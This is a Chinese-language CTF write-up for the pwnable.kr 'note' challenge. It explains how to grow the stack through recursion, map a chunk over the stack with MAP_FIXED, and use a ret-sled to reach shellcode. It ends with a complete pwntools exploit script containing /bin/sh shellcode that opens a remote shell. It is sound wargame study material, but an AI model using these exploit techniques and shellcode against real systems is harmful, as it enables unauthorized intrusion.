pwnable.kr "note"

select_menu 里面有个一字节的溢出，可以覆盖 menu 的最低位，暂时看起来还没法利用。

最终目的是 getshell，aslr 没有开启，可以通过 rop的方式，或者自己构造shellcode 的方式。目前来看是在 mmap 的区域中写入 shellcode，然后执行。

在 fuzz 的时候我不断的 delete_note 和 create_note，发现最后总是会崩溃，gdb 调试发现崩溃的原因经常是执行到 scanf 或者 printf 这样的库函数里面，库函数里面的指令被修改了，库函数里面有大片的空间全部被0覆盖。

查看 MAP_FIXED 的定义我们可以看到这样一段描述

```
MAP_FIXED
              If the memory region  specified
              by  addr  and  len  overlaps pages of any existing
              mapping(s), then the overlapped part of the exist-
              ing  mapping(s)  will be discarded.
```

说明 mmap 的地址 overlap 了 libc，然后 libc 的区域就被丢弃了，并且初始化为0.

mmap_s 返回的地址是有可能 overlap 到 libc 的区域的，是不是可以覆盖了 libc 的区域，然后往里面重写东西呢。

select_menu 这个函数是递归调用的，如果疯狂调用这个函数，栈就会不断地往低地址增长，如果设置栈大小是 unlimited，是不是有可能让栈和 mmap 的区域相邻呢?

尝试了下好像这个思路也不行啊，栈确实会往下不断增长，栈底但是会和最上方的 mmap 区域保持至少一个 PAGE_SIZE 的距离，再往下的话就会导致 segment fault，而不是想象中的栈的虚拟地址空间继续变大。

那个 select_menu 的 secret 选项有可能是误导，目前来看主要用处就是布置 rop 吧

一个 select_menu 的栈帧是1072个字节

第一个 select_menu 的返回地址是0xffffcffc

问了 himyth，可以先疯狂增栈，然后 mmap 到栈中，覆盖返回地址！之前怎么就没想到呢，既然可以覆盖 libc，那当然也可以覆盖栈啊!

本地利用成功，远程利用还没成功。

在远程机子上用 gdb 调试 note，vmmap 看了一下栈的地址，和本地的一模一样。本地 gdb 调试下的栈地址和非 gdb 调试下的栈地址是一样的，于是推测远程机子上的 note 程序运行时的栈地址应该也是一样的。

换了个 shellcode 在远程上试，还是不行。最后发现是第一个 select_menu 的ret addr 在栈上所处的位置不一样。后来换了个想法直接在 mmap 区域铺满0x80484c7, 这个地址存放了 ret 指令，然后在最后四个字节放上 shellcode 的地址。这样无论栈怎么变化，最后递归返回的时候肯定能返回到 shellcode 去。

技巧

1. gdb 发生 segment fault 的时候可以通过 backtrace 查看程序的调用链，并且通过 up 和 down 命令在调用链上跳跃（up、down 后面可以加上数字）
2. 需要暴力破解的程序可以尝试下面一段代码

```
p = process('./'+_program)
while True:
    try:
        p.recvall(timeout=2)
        p.recv(timeout=2)   #这里用 p.interactive()无法 catch 到 EOFError
    except EOFError:
        print "[!]EOF error"
        p.close()
        p = process('./'+_program)
        continue
    break
```

下面是 exp

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" dddong / AAA """

from pwn import *
import sys, os, re
context(arch='i386', os='linux', log_level='debug')
context(terminal=['gnome-terminal', '-x', 'bash', '-c'])

_pwn_remote = 1

PAGE_SIZE = 4096

def read_note(note_no):
    #p.sendlineafter("exit\n", "3")
    #p.sendlineafter("note no?\n", str(note_no))
    p.sendline("3")
    p.sendline(str(note_no))
    #print "no ", str(note_no), " content:\n"
    #p.recvuntil("\n")
```

```
21
22  def create_note():
23      p.sendlineafter("exit\n", "1")
24      note_no = int(p.recvline().split(" ")[-1])
25      p.recvuntil("[")
26      note_addr = int(p.recv(8), 16)
27      return (note_no, note_addr)
28
29  def delete_note(note_no):
30      p.sendlineafter("exit\n", "4")
31      p.sendlineafter("note no?\n", str(note_no))
32
33  def write_note(note_no, content):
34      p.sendlineafter("exit\n", "2")
35      p.sendlineafter("note no?\n", str(note_no))
36      p.sendlineafter("4096 byte)\n", content)
37
38
39  _program = 'note'
40  _debug = int(sys.argv[1]) if len(sys.argv) > 1 else 0
41
42  elf = ELF('./' + _program)
43
44  if _pwn_remote == 0:
45      libc = ELF('./libc.so.6')
46      p = process('./' + _program)
47
48      if _debug != 0:
49          if elf.pie:
50              _bps = [] #breakpoints defined by yourself, not absolute
    addr, but offset addr of the program's base addr
51              _offset = __get_base(p, os.path.abspath(p.executable))
52              _source = '\n'.join(['b*%d' % (_offset + _) for _ in _bps])
53          else:
54              _source = 'source peda-session-%s.txt' % _program
55          gdb.attach(p.proc.pid, execute=_source)
56  else:
57      _ssh = ssh('note','pwnable.kr', 2222, 'guest')
58      p = _ssh.process(['nc','0','9019'])
59
60  #shellcode = asm(shellcraft.i386.linux.sh())
61  shellcode =
    "\x31\xc9\xf7\xe9\x51\x04\x0b\xeb\x08\x5e\x87\xe6\x99\x87\xdc\xcd\x80\xe8
    \xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
62
63  ret = 0x80484c7
```

```
#write shellcode in the chunk 0
ck_sc_no, ck_sc_addr = create_note()
write_note(0, shellcode)

#increase the stack
for _ in xrange(7500):
    print _
    read_note(300)

write_note(0, shellcode)

stack_btm = 0xff80c000

flag = 0
for i in xrange(254):
    ck_no, ck_addr = create_note()
    if ck_addr >= stack_btm:
        flag = 1
        print "chunk overlap with the stack!deadbeef!"
        break

if flag == 0:
    print "fail to overlap with the stack"
    sys.exit(1)

#sel_menu_fsz = 1072
#pret_addr1 = 0xffffdc2c

#npadding = (pret_addr1 - (pret_addr1 - ck_addr) / sel_menu_fsz *
sel_menu_fsz - ck_addr)

#print "overwrite ret addr in:", hex(ck_addr+npadding)
write_note(ck_no, p32(ret) * (PAGE_SIZE/4-1)+ p32(ck_sc_addr))

p.sendline("5")
p.recvrepeat(0.5)
p.interactive()

#需要通过暴力破解的程序可以尝试下面一段代码
"""
p = process('./'+_program)
while True:
    try:
        p.recvall(timeout=2)
        p.recv(timeout=2)
    except EOFError:
```

```
        print "[!]EOF error"
        p.close()
        p = process('./'+_program)
        continue
    break
"""

```